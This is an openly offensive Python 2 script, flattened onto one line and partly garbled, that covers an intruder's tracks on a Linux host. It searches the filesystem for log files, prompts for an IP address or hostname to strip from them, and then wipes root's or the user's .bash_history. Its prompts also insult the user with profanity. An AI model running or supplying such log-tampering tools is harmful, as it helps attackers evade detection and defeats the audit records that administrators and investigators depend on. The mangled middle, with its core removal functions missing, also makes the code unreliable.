#!/usr/bin/env python # -*- coding: latin-1 -*- ###################################################### # ____ _ __ # # ___ __ __/ / /__ ___ ______ ______(_) /___ __ # # / _ \/ // / / (_-0: print "[*] Active logs files found:",len(goodLogs) for b in goodLogs: print "\t"+b else: print "[-] No active log files found" sys.exit() def morelogz(): global mlogz mlogz = [] mlogzcheck = [] os.chdir("/") print "[*] Looking for more log files..." logfilez2 = StringIO.StringIO(commands.getstatusoutput('find . -iname *.log -print')[1]).readlines() if len(logfilez2)>0: for a in logfilez2: foo = a.strip('\n') mlogzcheck.append(foo) for b in mlogzcheck: if os.path.isfile(b) == True: mlogz.append(b) print "\t[*] Found:",len(mlogz),"extra logfiles" return mlogz def main(): banner() print "" if os.geteuid() != 0: print "\nNot running as root. Only logz accessible by non privileged users will be edited." raw_input("Press enter to get started...\n") validlogs() choice = raw_input("\nDo you want to search for more logs? [yes or no] ") if choice == "yes" or choice == "YES" or choice == "Yes": hollaback = 1 morelogz() elif choice == "no" or choice == "NO" or choice == "No": hollaback = 2 pass else: sys.exit("It's really not that difficult. Choose either yes or no fucker!\n") global hitme global ipaddr global host choice1 = raw_input("\nWould you like to remove a IP address or Hostname? [ip or hostname] ") if choice1 == "IP" or choice1 == "ip": hitme = 1 ipaddr = raw_input("\tWhat IP address would you like removed from the logs? ") while IPChk(ipaddr) != True: print "\n\tInvalid IP! Try again!" ipaddr = raw_input("\tWhat IP address would you like removed from the logs? ") else: if hollaback == 1: searchanddestroy() searchanddestroy2() else: searchanddestroy() elif choice1 == "HOSTNAME" or choice1 == "hostname": hitme = 2 host = raw_input("\tWhat Hostname would you like removed from the logs? ") if hollaback == 1: searchanddestroy() searchanddestroy2() else: searchanddestroy() else: sys.exit("It's really not that difficult. Choose either ip or hostname fucker!\n") if os.geteuid() == 0: w = open("/root/.bash_history", 'w') w.write("") w.close() else: user = os.getenv('USERNAME') w = open("/home/"+user+"/.bash_history", 'w') w.write("") w.close() if __name__ == "__main__": try: main() except KeyboardInterrupt: print "\n" sys.exit()